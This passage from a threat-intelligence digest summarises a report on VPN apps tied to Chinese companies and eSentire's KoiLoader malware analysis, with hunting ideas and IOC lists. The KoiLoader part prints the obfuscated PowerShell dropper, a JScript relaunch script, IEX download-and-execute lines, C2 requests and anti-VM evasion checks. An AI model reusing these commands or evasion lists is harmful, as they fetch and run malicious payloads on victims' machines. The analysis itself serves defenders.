   • Privacy policies hosted on domains registered in China or containing legal references to Chinese laws or regulations.
   • Consistent patterns in privacy policy wording or structure across different VPN apps, which might indicate shared ownership or development.
   • Developer names or associated email domains that match those identified in the TTP report (e.g., domains associated with Innovative Connecting like @allconnected.co or @acnet.co).

2. Mobile Device Management (MDM) Policies: Organizations can implement MDM policies to restrict or monitor the installation and usage of free VPN apps, particularly those identified as having potential ties to high-risk countries.

3. Network Traffic Analysis (General): While not specific to these apps, monitor for unusual network traffic patterns originating from mobile devices that might indicate data exfiltration to unexpected or high-risk destinations. This would require baseline understanding of normal traffic.

4. Threat Intelligence Enrichment: Integrate the app names and developer information identified in the report into threat intelligence platforms to correlate with other potential threat indicators or reports.

Logic of Potential Hunting Approaches:

• App Store Analysis: Aims to proactively identify potentially risky VPN apps based on publicly available information, mimicking the initial stages of the TTP investigation.
• MDM Policies: Provides a preventative control by limiting the attack surface on managed devices.
• Network Traffic Analysis: Offers a reactive detection capability by looking for anomalous communication after an app has been installed and is in use.
• Threat Intelligence Enrichment: Enhances the context of existing threat intelligence by incorporating information about these potentially risky apps and their developers.

IOC

App Names (Potentially Risky)

Turbo VPN
Signal Secure VPN
VPN Proxy Master
Thunder VPN
Snap VPN
X-VPN
VPNIFY
VPN Bucks (removed)
LinkWorldVPN (removed)
WireVPN - Fast VPN & Proxy
Wirevpn – Secure & Fast VPN
VPN Proxy OvpnSpider
Best VPN Proxy AppVPN
Ostrich VPN
HulaVPN
VPN Ⓟ (removed, formerly VPN Bucks Lite)
Best V2ray (removed)
Alphaoo Net (removed)
SwiftLink VPN (removed)
Speedy Quark VPN
Now VPN
Incognito Net (removed)
Pearl VPN

Developer Names (Potentially Risky)

Innovative Connecting Pte. Ltd.
Free Connected Limited
Neonetworks solution ltd.
Free Apps Limited (dissolved)
MUSKETEER NETWORK TECHNOLOGY LIMITED
WEILAI NETWORK TECHNOLOGY CO., LIMITED
freevpn Ltd.
WCOMES TECHNOLOGIES CO., LIMITED
GeWare Technology Limited (now Geware Mobile Limited)
Hula Link Technology Co., Ltd. (likely Guangzhou Hula Network Technology Co. Ltd.)
Top Free App (likely associated with VPN Bucks)
Swan Technology Co., Ltd
QUICK STONE NETWORK TECHNOLOGY LIMITED
JOYFUL DOG (HK) CO., LIMITED
Hefei Single Machine Placement Technology Co., Ltd.
World Creation Technology Limited (formerly CTECH GLOBAL PTE LTD)
Meteor Network Technology Limited
Xian YuanChuangYouPin Network Tech Limited

Associated Companies (Potentially Risky)

Lemon Seed Technology Ltd.
Qihoo 360 (360 Security Technology)
Lemon Clove Pte. Ltd.
Autumn Breeze Pte. Ltd.
Guangzhou Quanyong Information Technology Co., Ltd. (SpringTech)
Chengdu Zhuozhuo Technology Co., Ltd.
Anhui Letang Holding Group Co., Ltd.

Email Domains (Potentially Associated)

@allconnected.co
@acnet.co
@qq.com (potentially associated with Best V2ray)

Original link: https://www.techtransparencyproject.org/articles/apple-offers-apps-with-ties-to-chinese-military

The Long and Short(cut) of It: KoiLoader Analysis

Summary

eSentire’s Threat Response Unit (TRU) discovered an intrusion attempt in March 2025 involving a new version of KoiLoader. The attack began with a spam email containing a malicious shortcut file. This file initiated a multi-stage infection chain leading to the deployment of Koi Stealer, an information stealer written in C#. KoiLoader acts as a loader facilitating Command and Control (CnC) and the delivery of further payloads. The analysis highlights the malware’s use of obfuscation techniques, anti-VM evasion, User Account Control (UAC) bypass, persistence mechanisms, and encrypted communication with its C2 server. The threat demonstrates the continued effectiveness of phishing campaigns and the sophistication of modern malware designed to evade detection and analysis.

Technical Details

The initial access vector was a spam email delivering a ZIP archive named “chase_statement_march.zip”. Inside, a shortcut file named “chase_statement_march.lnk” was used to download and execute KoiLoader. The shortcut exploited a known low-severity Windows bug (ZDI-CAN-25373) to conceal command-line arguments in the file properties.

Upon execution, the shortcut ran a PowerShell command that downloaded two JScript files, “g1siy9wuiiyxnk.js” and “i7z1x5npc.js”, to C:\ProgramData\. It then created a scheduled task using schtasks.exe to execute “g1siy9wuiiyxnk.js” every minute. The malicious command was:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('g1siy9wuiiyxnk.js i7z1x5npc'); $getf='Dow'+'nl'+'oadF'+'ile'; $w2al9zb7lb86ccs0 = New-Object Net.WebClient; $wscs = 'wscript '; $w2al9zb7lb86ccs0.$getf('https://casettalecese[.]it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'g1siy9wuiiyxnk.js'); . ('curl.exe') -s -o 76mk0ik748fo 'https://casettalecese[.]it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv 76mk0ik748fo 'i7z1x5npc.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ("wscript C:\ProgramData\g1siy9wuiiyxnk.js i7z1x5npc") /tn i7z1x5npc;

The “g1siy9wuiiyxnk.js” script deleted the created scheduled task and executed “i7z1x5npc.js” using wscript.exe. This technique likely aimed to evade detection by having svchost.exe as the parent process of wscript.exe instead of the typical explorer.exe when a user double-clicks a script file. The contents of “g1siy9wuiiyxnk.js” are:

var dol3 = new ActiveXObject("WScript.Shell")
dol3.Run("powershell -command \"schtasks /delete /tn " + WScript.arguments(0) + " /f; wscript $env:programdata\\" + WScript.arguments(0) + ".js \"", 0)

The “i7z1x5npc.js” script performed several actions:

1. Acquired the victim machine’s GUID from the registry.
2. Copied itself to C:\ProgramData\r<GUID>r.js.
3. Downloaded and executed two PowerShell scripts from https://casettalecese[.]it/wp-content/uploads/2022/10/boomier10qD0.php and https://casettalecese[.]it/wp-content/uploads/2022/10/nephralgiaMsy.ps1 using Invoke-Expression (IEX).

The first PowerShell script (“boomier10qD0.php”) aimed to disable the Anti-Malware Scan Interface (AMSI). The code attempts to find and modify a field related to AMSI within .NET assemblies.

The second PowerShell script (“nephralgiaMsy.ps1”) was responsible for downloading the KoiLoader payload (from https://casettalecese[.]it/wp-content/uploads/2022/10/transhumanDAxj.exe), allocating memory, writing the payload, and executing it via the CreateThread API call.

KoiLoader’s first stage involves unpacking and executing the next stage. It resolves Windows APIs (FindResourceW, LoadResource, SizeofResource) by hashing their names. The hashing algorithm iterates through exported names in Kernel32.dll, computes a hash for each, and returns a pointer to the API if the hash matches a target value. The python implementation of this hashing algorithm is provided. KoiLoader then extracts two resources from its PE file: an encrypted payload and an XOR key. It decrypts the payload using the XOR key, writes it to memory, marks it as executable, and transfers control to its original entry point (OEP).

The second stage of KoiLoader begins with checks to avoid running on machines with specific language identifiers associated with Russia and surrounding regions. These include Russian, Armenian, Azerbaijani (Latin/Cyrillic), Belarusian, Kazakh, Tajik, Turkmen, Uzbek (Latin/Cyrillic), and Ukrainian. It then performs evasion checks for virtual machine environments (Hyper-V, VMWare, VirtualBox, Parallels, QEMU), security researcher machines, and sandboxes. These checks include:

• Enumerating display devices and checking for strings like “Hyper-V”, “VMWare”, “Parallels Display Adapter”, and “Red Hat QXL controller”.
• Checking for specific files in the user’s Documents folder (“Recently.docx”, “Opened.docx”, “These.docx”, “Are.docx”, “Files.docx”).
• Checking for VirtualBox related executables (“C:\Windows\System32\VBoxService.exe”, “C:\Windows\System32\VBoxTray.exe”).
• Checking for specific files on the desktop (“new songs.txt”, and files with “BAIT” content and 4 bytes size).
• Checking the username against a list of known researcher/sandbox usernames (“Joe Cage”, “STRAZNJICA.GRUBUTT”, “Paul Jones”, “PJones”, “Harry Johnson”, “WDAGUtilityAccount”, “sal.rosenburg”, “d5.vc/g”, “Bruno”).
• Checking the computer name against a list of known researcher/sandbox computer names (“DESKTOP-ET51AJO”, “WILLCARTER-PC”, “FORTI-PC”, “SFTOR-PC”, “ANNA-PC”).
• Checking for at least 3050 MB of physical memory.
• Checking for specific files in the Documents folder with .doc, .docx, .xls, or .xlsx extensions and a 14-character filename (excluding extension) with a file size of 15 bytes (likely for debugging).
• Checking if the current process name is “powershell.exe” (this check is skipped if more than 20 of the 15-byte test files are found).

KoiLoader employs a UAC bypass using the ICMLuaUtil Elevated COM interface to add an exclusion for C:\ProgramData\ in Microsoft Defender.

Persistence is achieved by creating a scheduled task that runs the JScript dropper file (C:\ProgramData\r<GUID>r.js). The machine GUID is retrieved from the registry.

A mutex is generated based on the C:\ drive’s volume serial number to ensure only one instance of KoiLoader runs at a time. The mutex name is a GUID derived from this serial number. Python code for generating this mutex is provided.

KoiLoader downloads and executes KoiStealer using PowerShell. It checks for the presence of the C# compiler (csc.exe) to determine which PowerShell script to download and execute (sd4.ps1 or sd2.ps1) from https://casettalecese[.]it/wp-content/uploads/2022/10/. The PowerShell commands used are:

powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd4.ps1”)
powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd2.ps1”)

Command and Control (C2) communication uses HTTP POST requests to http://94.247.42[.]253/pilot.php.

• The initial request (denoted by “101”) contains the victim’s GUID, a campaign build ID (“45LkAGkF” in the example), and a base64-encoded X25519 public key.

  POST http://94.247.42[.]253/pilot.php
  HTTP/1.1 Content-Type: application/octet-stream
  User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
  Host: 94.247.42.253
  Content-Length: 94
  Proxy-Connection: Keep-Alive
  Pragma: no-cache
  Content-Encoding: binary
  
  101||45LkAGkF|
  

• A subsequent check-in request (denoted by “111”) includes the victim’s GUID, a 16-byte randomly generated string, and data containing the OS version, username, computer name, and domain, encrypted using an X25519 shared secret.

  POST http://94.247.42[.]253/pilot.php HTTP/1.1
  Content-Type: application/octet-stream
  User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
  Host: 94.247.42.253
  Content-Length: 94
  Connection: Keep-Alive
  Pragma: no-cache
  Content-Encoding: binary
  
  111||<16_BYTE_XOR_KEY_PART_2>|
  

• A continuous loop of requests (denoted by “102”) is sent every second to retrieve commands from the C2 server.

  POST http://94.247.42.253/pilot.php HTTP/1.1
  Content-Type: application/octet-stream
  User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
  Host: 94.247.42.253
  Content-Length: 40
  Proxy-Connection: Keep-Alive
  Pragma: no-cache
  Content-Encoding: binary
  
  102|
  

• The C2 server responds with a single-character command, which is handled by a jump table. The identified commands and their descriptions are:
  • 0x67: Executes scripts/commands via Command Prompt
  • 0x68: Executes scripts/commands via PowerShell
  • 0x69: Enables system shutdown privilege and performs shutdown
  • 0x6A: Creates a scheduled task to run agent.js and removes agent.js if present
  • 0x6C: Establishes communication with a C2 server
  • 0x6E: Performs process injection into explorer.exe or certutil.exe (based on subsystem) or writes/executes a payload in %TEMP%
  • 0x70: Dynamically loads and executes a function (“Release” in the sample) from a DLL

eSentire’s TRU team isolated the affected host and assisted the customer with remediation. They also developed a Python emulation script for triaging C2 activities, which can generate X25519 keys, compute shared secrets, and interact with the C2 server.

Recommendations

• Disable wscript.exe via AppLocker GPO or Windows Defender Application Control (WDAC) for the following paths:

  C:\Windows\System32\WScript.exe
  C:\Windows\Syswow64\WScript.exe
  *:\Windows\System32\WScript.exe
  *:\Windows\SysWOW64\WScript.exe
  

• Implement comprehensive detection strategies, including script logging and behavior-based detection mechanisms.
• Implement Phishing and Security Awareness Training (PSAT) programs.
• Use a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) solution.

Hunting methods

The source does not explicitly provide Yara, Sigma, KQL, SPL, or other specific hunting queries. However, based on the technical details, the following hunting logic can be used:

• Process monitoring for unusual wscript.exe parent processes: Look for wscript.exe processes with parent processes other than explorer.exe, especially svchost.exe. This behavior was used to evade detection.
• Scheduled task creation by unusual processes: Monitor for the creation of scheduled tasks using schtasks.exe where the creator process is not a standard system process or management tool. Specifically, look for tasks creating triggers to run JScript files from the C:\ProgramData\ directory.
• PowerShell downloading and executing scripts from the identified domain: Monitor PowerShell command lines for Invoke-WebRequest (IWR) or curl.exe commands downloading files from casettalecese[.]it followed by execution using Invoke-Expression (IEX) or wscript.exe.
• File creation in C:\ProgramData\ with .js extension: Investigate the creation of JScript files in the C:\ProgramData\ directory, especially those with seemingly random or GUID-like names.
• Registry modifications related to MachineGuid: Monitor for processes querying the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid registry key, as this is used for generating unique identifiers.
• Network connections to the C2 IP address: Monitor for HTTP POST requests to 94.247.42[.]253 on port 80, particularly with the specific User-Agent string: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko and content types of application/octet-stream with patterns like 101||, 111||, or 102| in the request body.
• Mutex creation based on volume serial number: While direct hunting for mutexes based on volume serial numbers might be challenging, monitoring for unusual mutex creation events in conjunction with other indicators could be beneficial. The mutex pattern can be reverse-engineered from the provided Python code.

IOC

Domains

casettalecese[.]it

IP Addresses

94.247.42[.]253

File Names (observed during infection chain)

chase_statement_march.zip
chase_statement_march.lnk
g1siy9wuiiyxnk.js
i7z1x5npc.js
76mk0ik748fo (downloaded as, later renamed to i7z1x5npc.js)
hemigastrectomySDur.php (downloaded as g1siy9wuiiyxnk.js)
bivalviaGrr.php (downloaded as 76mk0ik748fo)
boomier10qD0.php (PowerShell script to disable AMSI)
nephralgiaMsy.ps1 (PowerShell script to download and execute KoiLoader)
transhumanDAxj.exe (KoiLoader payload)
sd4.ps1 (KoiStealer downloader - conditional)
sd2.ps1 (KoiStealer downloader - conditional)
agent.js (related to C2 command 0x6A)

Registry Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Scheduled Task Name

i7z1x5npc

Original link: https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis